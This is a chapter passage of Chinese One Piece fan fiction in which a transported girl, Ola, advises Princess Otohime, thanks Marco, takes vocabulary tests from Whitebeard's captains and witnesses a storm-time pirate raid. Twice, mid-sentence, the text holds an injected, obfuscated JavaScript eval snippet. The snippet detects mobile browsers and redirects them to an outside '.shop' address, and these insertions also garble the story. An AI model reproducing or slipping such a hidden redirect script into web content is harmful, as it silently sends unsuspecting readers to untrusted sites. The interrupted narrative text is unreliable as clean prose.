她现在有点后悔说实话了,但联想到乙姬王妃在原本的剧情里的结局和她倒下后笼罩在鱼人岛上的阴翳,她就又有点不忍。她一个普通人,能做的事情不多,但或许,至少能改变一点点未来呢。她来到了距离剧情开始的这么多年前,真的能在明知悲剧会发生的情况下还漠视它吗? 换言之,她接受不了,自己以后也会成为剧情洪流中小沙粒的结局。 她强迫自己抬高视线,慢慢对上乙姬那从始至终包含包容与温柔的蓝色眼眸,凝视着这双沉静的眼睛,某种奇异的熟悉感让她有了将未说完的话继续说下去的勇气。 “因为,和,塔克......”她搜刮着自己剩余不多的词库,整张脸苦恼的挤成一团,最后才蹦出个“玩”字来。 “所以,不怕。塔克,很好。”说到很好的时候,她甚至还急切的在胸前比了个大拇指,试图用拙劣的、没有任何翻译功能的手语来加强自己的表达。 她现在不像是面对国家领导人的面见,倒像是参加了场语言考试般,别管语序,别管词用的对不对,只求考官能听懂就可以了。 “人类,鱼人,玩,就会,信任。”话音落下,她顿住了,眉头又拧了起来,费力的寻找下个能够表达她意思的词,“不能,玩,有,敌对......” 敌对这种高级词还是她从海贼们谈笑间学来的,实际她想表达的是有敌意。 两个种族间互相看不见但却存在的明确的敌意。 奥拉不知乙姬能不能听懂她这塑料世界语,她停了下来,略带些局促的抿了抿唇。 出乎她意料的是,乙姬听的很认真,在她停下来后便立刻发问:“好孩子,你想说的是鱼人和人类..嗯...相识相知就有可能会产生对彼此的信任,若非如此,就会一直是敌对的,对吗?” 听到乙姬的解释,奥拉眼睛一亮,用力点了点头。虽然和她原本想说的有出入,但大抵意思是没错的。 见乙姬理解了,她又重新开始组织语言。这些都是即便她不说,大家也都知道的事情。 问题在于如何让两个种族间建立起联系,真正的认识对方。就算认识了对方,也不过是第一步而已,谁也不能保证在双方互相了解以后种族的偏见就会消失。 这种问题,就连奥拉以前所处的高速发展、相对和平的世界都没有被解决。 但总要想办法先踏出那一步。 以前看海贼王的时候,奥拉就曾疑惑过,在绝大部分面积都是海洋的世界里,一个既能在海里来去自如又能在陆地上行走,身体素质天生就高于人类的种族怎么会过的这么惨。如果她们利用起自己的特性来,绝大部分人类都无法阻碍她们才是常态。 在奥拉看来这个种族还是太过保守了。 在有一定武力的基础上,这个种族完全可以掌控大部分的海底物流和海上贸易。 比如这里的新闻报纸的掌控者是个吃了鸟鸟果实的家伙,暂且称之为鸟类一族。天空就是她们的主场,整个海洋都有她们的通信,也就产生了各种利益纠葛,这种有了自己说话权力的组织成立就算是世界政府也很难将她们完全消灭。 鱼人岛完全就可以复刻这种模式,与海上贸易联合起来在海底建立鱼人物流体系也不是完全不可能的事情。 当鱼人岛获得资本的原始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16988695|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 积累,拥有了财富也就有更多的财力去支撑教育、文化、武装等等方面的发展。且在贸易展开的过程中怎么不算与人类、各种种族展开了更深层次的交流与认识呢。 以快递业在奥拉原本的世界发展程度来看,如果鱼人快递真的出现,并且发展起来。短时间内是寻找不到比鱼人更合适的能够在大海中快速运送货物的种族的,既然如此,需要这个种族存在的人类自然会对这些‘异类’们有所改观,就算是为了利益也会强迫自己接受的。到时候如果鱼人岛在想向世界政府提出要求想必就不会那么难了,仅仅只是搬迁到陆地上就能掌控这种暴利行业,她相信只要不是傻子肯定都会点头的。当然后期面对的必然是各方势力的觊觎,这是无法避免的。 不过奥拉并不会把自己的想法告诉乙姬,至少不是现在。她和乙姬说的不相信塔克以外的鱼人也是真心话,这些不信任的人里面自然包括乙姬王妃,哪怕乙姬王妃始终微笑着聆听。她无法判定她人对自己是如何看待的,就只能从自身出发。 在这个完全陌生的世界上,她能信任的,她敢信任的人很少。除了贝沙和塔克,她的信任名单上或许还能加上几位白胡子海贼团的队长们,但也仅此而已了。在她能自保之前,只能偷偷的,用她微不足道的力量,浅浅的留下蝴蝶翅膀振动的标记,以便让未来的自己有更多可以发挥的空间。 “先去,做事,改变...”说着奥拉食指指向了自己的大脑,“然后,建立,朋友?” “海上,很多,卖东西,危险。”她摇了摇头,紧接着继续道:“塔克,救我。你们,救她们。” 她认为乙姬王妃目前的第一件事,就是把更多的族人们都拉进来,而不是像原著一样孤身前行。 个人的力量太有限了。不能因为乙姬是王妃而得到迁徙的支持,必须是更多的人想要接触地面主动伸出探索的手,鱼人岛所有人共同去开垦一条通往未来的路才可以。 语毕,奥拉静静的等待着乙姬的反应。以她现在的身份,去说这些已经太过越界了,如果乙姬不采纳,那她也是没有办法的。 乙姬确实愣住了。 她没想到人类女孩居然在替她想办法,虽然过程磕绊,略有些笨拙,但她天生的能力告诉她,这个女孩是无比真诚的。 程然奥拉的办法在乙姬看来并不会有太多的用处,她也不是没有思考过更多的出路,但这个时刻还是让她十分动容,就像她多次高声告诉她的子民们的一样:看啊!陆地上还有很多她们不曾接触到的善良的人类! 这是乙姬第一次从族人、海贼以外,获得普通人类的正面响应,不是否定,不是厌恶,让她知道彷佛还有一群这样的人类,也会学着接纳她们。仅仅是这样也足够振奋人心了。 “奥拉小姐...谢谢你...”乙姬的声音里带着丝明显的颤音,她情难自抑,伸出手直接环住了奥拉的脖颈将人圈在了怀里。 奥拉被她突然的热情惊得浑身一僵,半响后才慢慢的试探的伸手拍了拍乙姬的后背。 感受着身上的温度,奥拉嗫嚅着,最终还是没忍住,凑在乙姬耳边轻轻开口。 “给你,讲个,故事。” 19. 离开鱼人岛 三日后,白胡子海贼团重新启航。 奥拉站在莫比迪克的甲板上,远远张望着越来越远,逐渐缩小的鱼人岛。 她看到了最前方显眼的龙宫国国王和站在他身侧脸上挂着笑容的乙姬王妃。自三天前那场谈话以后,她和乙姬王妃之间好似熟络了不少,隔着遥远的距离她朝着乙姬王妃回以微笑。同时她也看到了夹在人群里的塔克,他正用力地朝这边挥手,另一只手抬起,似乎在擦眼泪。 就像他最后决定的那样,他留在了鱼人岛。 她们之间没有为早就知道的离别而悲伤太久,直到船离开港湾,才有了要分别的实感。 “唔...塔克哥哥可别忘了我——!” 小贝沙早已泪流满面,把塔克不带她下船的怨念抛之脑后了。她双手呈喇叭状放在嘴边,又忙不迭的学着塔克的样子挥舞手臂,试图将自己的不舍全部送到对岸的朋友身边。 这次分别不会是永久的,只要到了大海上,就会有再次相见的可能。 抱着这样的想法,奥拉虽也鼻尖泛起酸涩,却仰起头眨了眨眼睛,将那份忽然涌起的潮湿热意悄悄压了回去。 既然鱼人们都已经回到了鱼人岛,那么离她们这些人离开的时间也不远了。没有太多时间能够留给她来感伤,她也要尽快行动起来了。 不过,在开始之前,她还有件事情要做。 - “找我yoi?” 马尔科停下脚步,眉毛挑起,有些意外的目光落在堵在身前的奥拉脸上。 奥拉缓缓点头,她先是后退一步,朝着面前的人弯下了腰。双手贴紧裤缝,腰板挺直,郑重的深深鞠下一躬。 “马尔科队长,谢谢。” 她没有具体说是因为什么事情,她想表达的太多。谢谢他当时在鱼人岛的帮助,谢谢他没有继续深究古伊娜的事情,也谢谢他......某种意义上的默许和维护。 同时奥拉并未忘记,若不是马尔科或许她都恢复不到现在的模样。 她心中最初的警惕,也慢慢的在这艘承载着包容的莫比迪克上慢慢消融了。 这些原本只生活在屏幕里出场不多的人,好像和她了解到的一样,但又不完全相同。这种熟悉混杂着陌生的微妙感组成了一种真实,让她可以有思考的时间,有缓冲的落地。 在白胡子海贼团她依然有不信任的人,却也有了几个可以坦诚面对的人。 她直起身子,发丝随着她的动作扬起滑落脸庞,带走了最后的忐忑与犹疑。 “这个......” 她抬起一直虚握的手在马尔科面前打开,露出掌心蓝色的球体。 “我的,朋友。” 这份迟来的解释,是奥拉冷静思考后做出的决定。 在她意识到马尔科很有可能已经探查到某种存在以后,她的遮掩就没有任何意义了。她不知道强大的见闻色能感知到多少,却很清楚在四皇的旗帜下,定然有很多已经觉醒了见闻色霸气的人。既然马尔科在那之后一直都没追究过这件事,白胡子船长也未曾过问,那就是默认了珠子的存在。 她当然也想过就这样呆到下船,当作什么都没有发生过一样。 可承受着恩人的善意,还要将已经造成过麻烦的东西偷偷藏起来,最后一走了之。强大如白胡子不会在意这种小事,她这个被救助的人却不能辜负这份恩情。 在不触及到自身安危的情况下,她想要自己为这件事画上句号。 “她的,能力,特别。鱼人岛,惹麻烦,对不起!” 这次她没有逃避,而是高高仰起头,等待着马尔科的反应。 出乎意料的,依旧没有刨根问底,或是漠视。 她先是听到了声低笑。 马尔科唇边勾起弧度,打破了覆盖在两人间由奥拉带来的焦灼氛围。 “你要说的是这件事啊yoi。”马尔科微微收敛笑意,他上半身前倾,垂下头,高大的身形带来的阴影轻轻笼罩在奥拉上方,明明是被拦截在这里的一方,姿态却远比拦路者更为松弛。 “我们可是海贼,把你拥有特殊能力...的朋友堂而皇之的说出来......”他眼中淌过一丝戏谑的微光,刻意放缓了语速,让奥拉听清楚,“怎么,觉得我们不会向你出手,看不起我们吗yoi?” “我...”面对马尔科的逼近,奥拉一时语塞,现在的走向和她预想中的不一样啊! 所有准备好的解释都在大脑里搅浑成一坨,她保持着仰视的姿势,在那藏着锋芒与审视的目光下,她慌不择路间,竟吐出一句连自己都未深思过的话。 “我,信任,你。” 话一出口,连她自己的怔住了,双颊好似燃烧,火燎般烧到耳根,突然热的她浑身冒汗。这不是她事先准备好的台词,她也不知道为什么脱口而出的是这句话。 马尔科不会觉得她在挑衅他吧? 片刻的沉寂,仿佛连空气都停止了流动。 马尔科视线微凝,似也因这句直白到有些莽撞的话惊讶。他垂下的视线落在奥拉的脸上,他轻易便看到了她因窘迫发红的脸颊,和依然强撑着与他对视的眼睛。通过那双棕色的瞳孔,似乎能看到女孩近乎刨白内心的真挚。 几个喘息间,他重新拉开了与奥拉的距离,高大身形带来的压迫消散大半。他脸上仍带着似有若无的弧度,只不在带着先前那刻意为之的压迫。 “别随便相信海贼啊,笨蛋,yoi。” 见奥拉脸色如同快要熟透的番茄,整个人僵在原地,就连身上好似飘起了没有实质的白烟。在她彻底宕机前,马尔科抬起手,犹豫着,最后落到了奥拉的肩膀上,不轻不重的,带着安抚意味的拍了拍。 “回去吧,你的事情我已经知道了。别担心,老爹不会管这种小事的,yoi。” 至此,珠子的事情就算在白胡子海贼团过了明路。 马尔科看着奥拉踉跄前行,几乎同手同脚着走远的身影,视线不断的拉长,停留在原地不知道在想些什么。 忽然,一条结实的手臂不由分说的,从背后拦住了马尔科的脖子。 “这孩子......也太坦诚了。” 带着笑意的声音近在耳边,温热的气息喷在马尔科的耳廓。他嫌弃的后仰脑袋,躲过萨奇快要戳到他脸上的头发,却没有反驳。 见状,萨奇一点没有偷听的自觉,双手合十做出副少女星星眼祈祷的样子,掐着嗓子尖声道:“哦~马尔科队长~我~信~任~你~” “喂,萨奇。”马尔科的声音几乎是从牙缝里挤出来的,他压着声音警告道:“偷听的家伙就给我当作什么都没听到啊yoi!” 萨奇根本不管发怒边缘的马尔科,一个原地三百六十度旋转,单手抵住额头,眼睛一闭一睁就变成了马尔科平时那副懒散的样子。 “别~随~便~相~信~海~贼~,小笨蛋~” 这副刻意拉长声线,随意改变马尔科原话,娇柔做作的样子,完全就是讨打。 “......你这家伙!”马尔科的额角蹦出十字。 对于兄弟的犯欠,马尔科向来是当场解决的。 他伸手就要去抓萨奇那长面包一样的头发。 萨奇早有预料,他身段灵活泥鳅一样从马尔科的魔爪下保住了自己每天精心打理的头发。一转身跑出去几百米,在到达安全距离后,他又拿起姿态。 邪恶面包头向愤怒的小鸟发出了挑衅的笑容。 仗着离得远,他故意拖着荡漾的声线调侃:“小~笨~蛋——” 马尔科:对混蛋兄弟没有忍耐的义务。 接下来他会让萨奇知道鸟爪子是那样的蓝。 这边因她而起的吵闹奥拉丝毫不知,回到自己的休息间,她砰砰乱跳的心才渐渐安稳下去。 因为白胡子海贼团上的女性不多,给她们这些‘客人’准备的都是单独的房间,三四个人一间房,虽然房间小,但比起海贼们十几个人挤在一个大宿舍里要宽敞的多。 奥拉回来时,她的舍友们基本都在,互相颔首算是打过招呼。 在不远处贝沙闭着眼睛,小手抓着被子,脸上还有未干的泪痕,时不时还能听到抽气声。奥拉越过其他人,走到贝沙的床铺边蹲下。 轻轻擦去小孩脸上的痕迹,得到了一声低低的呓语。 奥拉没有出声安慰,只静静的陪在这个小朋友的身边,合上了双眼。 “系统,进入争霸日志。” 珠子的事情已经结尾,接下来她也要抓紧时间了。 这之后,她在莫比迪克上的生活也规律了起来。 学习语言仍然是她现在的重点。 自从和马尔科交代了自己的事情以后,奥拉时刻悬着的警戒心就一降再降。她不在束起疏离感的厚墙,现如今在没有贝沙的带领下,她也能够主动和船上的海贼们展开话题了。 虽然还多是以说了奇怪的话、发音不准确招来笑话结尾,但进步也是肉眼可见的。 现在比起口语,她更要加强的实际上是认字和写字能力。 某日,在莫比迪克的餐厅里。 午饭过后仍有不少人留在了这里。 奥拉坐在板凳上严阵以待,双臂交叠规规矩矩放在餐桌上。她面前的桌上放着一叠通缉令,和一张白纸以及一根笔。 贝沙站在她右侧的凳子上,一手掐腰一手拿着那本儿童书,学着大人的模样眉头皱起,试图摆出副严厉监考的样子。 在她的对面,参与考试的‘老师们’的阵容堪称豪华。以第十二番队队长哈尔塔为主位,笑眯眯的厨师长萨奇站在他的右边,双手放在兜里不知道在掏什么的第六番队队长布拉曼克站在他的左边。 三位队长的组合吸引了不少人来围观。 他们零零散散的将考场包围,或是抱臂靠墙,或是扯着同伴好奇探头,居然也有暗中给奥拉打气的。这群素来吵嚷的家伙,难得保持安静,皆都聚精会神的等待着开始。 终于,主考官哈尔塔清了清嗓子。 “布拉曼克,洗牌。” 大个子布拉曼克的动作很快,绵软的纸张在他手里像是扑克牌一样好洗。 哈尔塔全程气定神闲,待被调整顺序的通缉令们递到眼前,他随手从中间抽出一张,视线扫过名字,随即开口:“金格。” 在多双眼睛的注视下,奥拉谨慎的纸上一笔一划的写出这个名字。写完后,她将‘试卷’举起来向众人展示。 “奥拉姐姐,答对了,真棒!” 贝沙严肃的面孔还没维持多久就不见了。她小手拍的啪啪响,比自己答对了都要高兴的样子。 哈尔塔绷着脸,来回对比了下通缉令上的名字和奥拉写的字,方才点点头。萨奇朝着奥拉束起大拇指,旁侧的布拉曼克则在兜里掏了掏,在那个能掏出不同武器的口袋里翻出一颗糖放到奥拉的面前,瓮声瓮气道:“嗯,真棒。‘ 哈尔塔并没有一直念通缉令上的名字,在他的示意下旁侧的萨奇时不时会插进来,增加考试的难度。近到日常用语,远到各种工具和食材。贝沙偶尔也会简单直接的从儿童书里面提取问题。布拉曼克则在奥拉答不上来的时候从自己的口袋里抽出相应的的东西,给她点小提示。 这场考试的时间不长,却让奥拉感觉到了种每每考完试后,等待阅卷即将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16988696|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出成绩的紧张感。 好在,她这段时间的学习很刻苦,大部分的词语她都能写下来。 然而等最后一题结束,还没等奥拉松口气,哈尔塔轻飘飘的提了句。 “嗯...不错,可以开始第二场考试了。” 奥拉放下笔的手微顿,满脸茫然:没人告诉她还有第二场考试啊! 在她愣神之际,布拉曼克熟练的从身上的小口袋里掏出了各种各样的,包括工具、武器和食物在内的一系列东西,一一摆放在桌子上。因为餐桌足够大,摆下这些东西绰绰有余。 看的奥拉瞪圆了双眼:她早就想说了,布拉曼克实际是当代哆啦·布拉曼克·A·梦吗? 哈尔塔笑意盈盈的叙述第二场考试的规则,似乎并未发觉奥拉的怔愣。 “听到什么指出来就可以了,很简单的。” 接着萨奇的声音就响了起来。 “大象真鲔鱼。” 奥拉:?什么东西。 在各种期待、鼓励的眼神下,奥拉抖着手在食材上面滞留,连猜带蒙的指了指带着长长尖牙的鱼类。 这个鱼好像长着象牙,大概......是它吧。 “答对了!真棒!” 萨奇笑意更深,还不忘补充,“这种鱼很好吃哦~” 真正的考验,就此开始。 “那...燧发枪。” 奥拉在几把外形相似的枪上面犹豫,她抬起眼皮悄悄的打量着几位老师们的表情。 手指往右,几位老师面色不变,人群里没有声音。手指往左,却见哈尔塔和萨奇脸颊双双鼓起,明显在努力憋笑。布拉曼克表情绷紧,徒留小眼睛来回扫视。人群里更是夸张的隐约出现了嘘声,又迅速被人一巴掌打断。 奥拉心下了然,手指稳稳的转回了右边。 “不错,枪也认识了,真棒!”萨奇笑容满面的鼓掌。 “接下来要增加难度了哦~”哈尔塔在旁和萨奇互相交换了个眼神,似乎达成了某种共识。接下来由哈尔塔出题: “纸张。” 奥拉的手立即点向了面前的白纸。 “头发。” 奥拉手抖了抖,没有动。但看着哈尔塔一副“我就知道你会这样”的得意表情。她微微抿唇,将手慢慢移动到了自己的头顶。 “嚯嚯。不错嘛。”哈尔塔单手撑住桌子,带着狡黠和俏皮的又重复了一遍。 “纸、张。” 奥拉抬起手犹豫的又落回到自己的头上。 周围瞬间传来了几声压不住的低笑。萨奇已经转过身去了,他的肩膀正可疑的上下抖动。 奥拉面色微红,她合理怀疑,哈尔塔就是为了之前,因为有人误导她叫他小矮子队长的事情在报复自己,虽然那个时候她根本不知道小矮子是什么意思。 但她没有证据。 因为分不出来这太过相似的读音,奥拉这一下午都在被“纸张”“头发”折磨。 谢天谢地,经历过这次以后,她感觉她这辈子都不会再混淆这两个词了! 除了必须要掌握的语言,奥拉也同时为自己加了项新的课程。 不过与其说是上课,更多时候是她自己钻研与练习。 起因还是她研究转运珠用法时发现自己可以凭借意念控制幻影古伊娜行动。 虽然只是最基础的劈、砍、刺,往复循环,但奥拉觉得,暂时这便足够了。 她试着在午间人多的时候叫出古伊娜,结果很明显,有人立刻、也有人提前就向着古伊娜的位置投去了视线,但多数人都在没发现什么后移开眼。这让她确定了,目前除了她没人能看到古伊娜,再加上珠子的事情已经告知过马尔科,她也就多了些底气,带着古伊娜去甲板上空旷的地方练习挥剑了。 起初,她的剑用的还是船里的旧扫把。 她跟着古伊娜的动作,一板一眼的模仿。动作僵硬不说,扫帚头每每扫过地面就要扬起不少灰沉,在阳光下起舞,然后不由分说的钻入她的鼻腔,引得她止不住的打喷嚏。往往古伊娜的动作已经结束了,她还在死磕前面。一套动作都没完成,就把自己累的气喘吁吁。 她的动静不大,但由于她这个‘学生’在船上的‘老师’太多了,这古怪的举动也足够吸引人的视线了。 偶尔也会有经常和她聊天的海贼,胳膊倚着栏杆,满脸促狭:“哟,奥拉,今天又扫地这么卖力啊~” 往往这个时候,就会有抖机灵的,笑嘻嘻的接话: “奥拉,那块不用扫了~去前面吧~” 奥拉:。 等她努力组织语言,表示自己正在练剑时,换来的是更大的哄笑声。还有人灵机一动给她的剑法起名“挠痒剑法。”边说着边学她,挥砍时控制不好扫把,让沉重的扫把头落到背后又拉回来从头顶往下砸的怪异动作。顿时引得周围一众捶地大笑。 奥拉:身上不痒,拳头痒了。 可惜,这艘船上,她谁也打不过。只能转悲愤为力量,咽下这口恶气了! 有时贝沙也会在围观她,小朋友就是比那群可恶的海贼们善良多了。她不但会鼓励奥拉,还专门为奥拉画了幅练剑图,当然要是能把扫把换成剑就更好了。 后来,奥拉实在是受不了海贼们的揶揄了。 私下跑去找布拉曼克帮忙,听说船上就他的武器最多,说不定有多余的又适合她的武器。 最后在好心人布拉曼克的帮助下,从扫把换成了木棍,也终于迎来短暂的平静。 同时,在这段时间她也已经确认,不出意外的话,白胡子会把她们这些人放到下个登陆的岛屿。 时间确实不多了。 20. 海贼的日常 伟大航路的天气总是多变的,前一分钟还是白云悠悠,晴空万里。后一秒就能乌云密布,电闪雷鸣。 突兀的雷声轰隆隆的闯入了平静的日常中,滴答的雨点子跟着雷将军向下冲锋,没有给人留任何的缓冲,开始就如瀑布般冲刷。 “下雨了!喂,快过来,收帆!” 船上像被溅入水的油锅,一下就炸翻腾了起来。 混乱的脚步与呼喊的人声在雨幕里此起彼伏。 相较嘈杂的甲板中央,船尾就安静的多了。 “簌!” 有规律的挥砍声压在沉重的呼吸上,这才不出几分钟的时间,挥舞着木棍的人就已经全身湿漉漉的了,但她丝毫未被突如其来的暴雨打断节奏。 她两腿张开,压低重心,调整站姿以求在越发颠簸的船上能够站稳些。虽然收效甚微,她还是被带着左右摇晃,但手中的动作依然未停,口中也念念有词。 “98...” “...99...” “...100!” 随着最后一个数字落下。奥拉手臂不稳,连带着手中的木棍也在轻微的颤抖,她放缓呼吸,忍耐着手臂肌肉的酸胀,尽力保持自己的动作砍下去。 她身边的蓝色虚影速度要快的多,早早便完成了一系列动作,安静的等在一旁。不清晰的面庞面向奥拉,像是监督又像是失去控制的木偶漫无目的又无神的望向远方。 “喂,后面的干嘛呢,快点回船舱去!” 暴躁的喊声从她头顶传来。 细密的雨珠形成灰蒙蒙的幕帘,奥拉只瞥见来人的衣角,在想抬头查看时瞬间就被雨水劈里啪啦盖了满脸。 上面的人似乎也只是偶然发现她,来通知一声,还未等奥拉回答,匆匆的脚步声就又踩着大雨远去。 她徒劳的抹了把脸,勉强能看清前路。手一挥蓝色的影子便不见了,她将木棍斜插进绑在腰身的圈圈绑带里,这才手扶着墙壁一点点向着船舱移动。 奥拉在海上航行这么久的时间里,还是第一次遇到这么大的雨,连莫比迪克的甲板上都蓄上了层快到她脚踝的水。 更夸张的是不时翻腾而起的海浪,啪啪击打着船壁,有的翻不过体型庞大的莫比迪克,有的则掀起巨浪想要一口吞噬这只被困在中心的‘鲸鱼’。 奥拉跨开脚大步往前走也提不起速度,这个时候船身已经被浪推着控制不住的来回摇摆了,她手掌心被雨水浸湿,贴在木板上总要打滑。因此她走的分外艰难。 她这时还算冷静,前方不断传来的指挥声、喊叫声犹如一根根绳索牵引着她前行,叫她不必独自面对大自然的伟力。她也就没有那么恐惧,甚至还有心思将视线投向外面,好奇的观望着这与平时完全不一样的大海。 正当她又躲过一次海浪冲上甲板的扑打,在海水组成的高墙落下时,她眼尖的看到了远远的海平面上似乎多了个小小的黑影。 正以极快的速度,划开水面,一头扎进狂风暴雨中。 她眯起眼睛,想要看的更仔细些,圆滚滚的黑影就在这时变大,变近。所有的狂风与水流都要给这霸道的家伙让道,直冲冲的向着莫比迪克飞来。 在看清那东西的瞬间,奥拉瞳孔猛缩。 “敌袭!!” 有人比她更早的发现,她的嗓子未来得及喊出来,船上已经进入了警戒状态。 在炮弹抵达船只前的瞬间,刀光剑影斩开如针线串连的雨滴,干脆利落的将那枚炮弹四分五裂。 砰的震响在海面上爆开。 留着两条弯曲胡子的男人稳稳落在船舷上,刀刃落在身旁。 比斯塔稍稍侧过头,有些惊讶:“你是...奥拉?你怎么还在着,快回船舱里去。” 一句话的时间,又有几发炮弹不要命的往船上砸,比斯塔不再多言,身形一动健壮的身体就消失在了船舷上,取而代之的是船周身连续不断的轰响声。 从下而至的钩锁悄然抓住船舷,被人拉扯着铁爪后的绳索绷直。这是海贼登船突袭的老手段了。 看到这些,奥拉自然也没有了停留看风景的想法。她有自知之明,以她目前的实力,留在甲板上只会徒增麻烦。 她几乎是小跑着,费力稳住不断打滑的脚底,才在敌人登上甲板前跑进船舱里。 在她将门厚厚落上的同时,一道嚣张的声音也同时钻进了门里。 “白胡子,受死吧!!” 这伙人是冲着白胡子人头来的。 奥拉在门口稍停了会儿,她身上的衣服全湿透了,耷拉在身上凉飕飕的,又十分沉重。现在她顾不上这些,将袖子撸起,踢掉湿漉的鞋子,抽出腰间的木棍,赤脚朝着她们的房间拔腿跑过去。 一路上她穿过抄着武器往外奔的人,穿过警守在过道里的人。 只剩一个转角,便能回到房间里去。 忽然,一阵剧烈的震动使船舱左右颠倒,有什么东西断裂的声音从不远处炸响。 奥拉脚下失去平衡,她反应迅速,翻身以背着地,翻滚两圈后原地等待片刻。待船身停稳后才五指缩成拳头,移到胸口下面,推着自己撑起身子继续前进。 “啊!!” 在她终于到达门前时,在相反的方向,蓦地响起了尖叫。 她放在门把上的手猛地停住,剧烈的喘息间她看向传来声音的那头。长长的通道内空无一人,不知是不是所有人都跑到前面迎战了,而自那声尖叫后便再也听不见其他的动静,仿若那声只是幻觉。 她记得那边是...... 她呼吸一沉,却没有立刻过去。 她知道自己就算去了也没用,至多是跑过去送人头。只要还在白胡子的船上,应该不会有事的...... 她在心中安慰着自己那颗七上八下的良心,手下用力推开房间的门,失去大门遮拦后,房间内的情况一览无余。 她停在门口,冷吸口气,手从门把上垂落,下意识的喉咙滚动。 倏地,她扭头朝着发声的地方疾奔而去。在看房间里只有几个舍友满脸紧张的缩在一起,哪里有贝沙那小小的影子。 袭击者不是冲着白胡子来的吗? 有人闯到船舱里了么? 贝沙去哪了? 要不要立马去甲板上求援? 我能做些什么? 一连串的问题砸的她晕头转向,可这里没人能告诉她答案。 她只能不停的加速,努力竖起耳朵仔细辨别着船舱里的声响,一点点改变方向,朝着声音的来源奔去。 还未等她靠近,便远远的听到了女人们低低的交谈声,混在里面的似乎还有个稚气的声音。 那边的门大敞着,不知道里面是什么情况。 奥拉警惕的慢下脚步,猫儿似的抬起又轻轻落下,离那扇门越走越近,直至到达门口,她靠在墙上,试探的开口:“贝沙?” “奥拉姐姐...!” 小女孩雀跃的声音很快传递出来。 奥拉喜出望外,连声向里面证明自己的身份。 “我,是奥拉!” 接着她从墙外露出半个身子,让里面先看到自己。 同时她也看清了房间里的众人。 护士团的有几位在这里,她们守在最前面,几乎每人手里都有一把手枪,对准大门。贝沙被她们挡在中间。 透过她们的身后,能看到船壁不知什么时候被破了个大口子,狂风席卷着雨水和点点苍白从那里闯进这个房间。 “大家没事吧!” 奥拉刚一踏入房间就感受到了阵阵寒意,她不由得缩了缩肩膀。 贝沙的小脑袋摇得像拨浪鼓,她不仅没有害怕,反而伸出手指向洞口外混沌的天色,声音里带着孩子独有的、发现新奇事物时的兴奋:“奥拉姐姐,你看!下、下雪了!” 奥拉这才惊觉外界的变化。就在她跑进船舱里的这短短时间里,瓢泼大雨竟然就有了要结束的意思,但另一层颜色在它离去前迅速覆盖了上来。鹅毛大雪丝毫不弱于先前倾盆的大雨,吹进船舱里冻的人直打哆嗦。 新世界的天,娃娃的脸,说变就变。 外头隐约传来几声模糊的、带着火气的叫骂,混在风雪声中飘了进来。但先前激烈的炮声已经停止了,破损的洞口外,也不见再有敌人试图趁机攻入。 “...应该已经结束了,要上去看看吗?” 开口的人奥拉十分熟悉,是那个护士团里曾经借镜子给她的人。 令奥拉稍感意外的是,护士团们看上去很熟悉今天这样的事情,她们没有因突然的袭击感到焦虑或恐慌,大家都保持着基本的警惕但又像贝沙一样好奇的向外探头。在有人提了出去的建议后,更是得到了积极的相应。 与她们相比,倒是奥拉显得有些反应过度了。 她手持木棍,默不作声的跟在护士团身边。 待她们来到甲板上时,这里已经完全变了样子。 有群男人被捆着层层堆在一起,一会儿功夫他们头上,背上就飘满了雪花。比斯塔队长蹲在那堆‘人山’前面,似乎在问话。 白胡子船长坐在中心的专属座椅上,不知道什么时候从哪里掏了坛酒,正准备畅饮。肌肉虬结的手臂裸露在外,一点没被雨雪影响,也丝毫没有刚刚干过架的样子。 之前的雨水因为袭击没有及时排出去,在骤降的温度下有了结冰的预兆。几个海贼成群结队的,手里的刀还没归鞘,枪还没收起来,就被塞了工具被安排去除冰除雪。 在更远点的地方,莫比迪克旁,多了几艘歪斜的破船,一些人影正在那些将沉未沉的船上忙碌,朝莫比迪克上扔东西。那艘船上的宝箱,金币,食物,乃至成桶的酒水全被找了出来扔到甲板上,等待由人分拣。 “老爹!” 就在白胡子举坛欲饮的刹那,一道声音强势介入。 “你怎么直接喝上了?先让我检查一下身体,yoi!” 马尔科落在白胡子身旁,伸手按住酒坛边缘。 “一群小喽啰,连让老子热身的资格都没有,别大惊小怪的,马尔科。”白胡子低头看向自己老爱操心的儿子,不以为然。 马尔科手上力道不减,丝毫不肯退步,“至少让我看一下,yoi。”说着他不容拒绝的目光扫向护士团们,“麻烦过来帮我一下。” “儿子少来管老子的事情......”虽然是这么嘟囔着,但这位海上最强的男人还是拗不过自家孩子,见马尔科严肃的样子,他宽大的手掌还是松开了酒坛,任由他检查。引得近处围观的其余儿子们哄笑起来。 似乎所有人都习惯了这样的日常,无论是突然的袭击还是多变的气候,一切都在有条不紊的应对着。奥拉看在眼里,居然觉得自己站在这里十分突兀。 “怎么了,奥拉,吓到了吗?” 奥拉回过神。只见萨奇手上抓着条大鱼,正要从船舱里出来,被她挡住了路,此时正弯眼看着她。 她抿嘴,没说什么,侧过身子给萨奇让开位置。 萨奇奇怪的看了她一眼,但没当回事,他脚步沉沉的走远,声音还飘着脑后:“别发呆了,看你都湿透了,快去换身衣服,一会儿我们开宴会!” 宴会?现在? 奥拉抬头看着突如其来的大雪,又看了看甲板上忙忙碌碌的海贼们。 她拦住一个抱着木板路过的海贼:“下面也有,破洞。” “啊,那个,已经在补了。”海贼脚步不停,嘴里骂 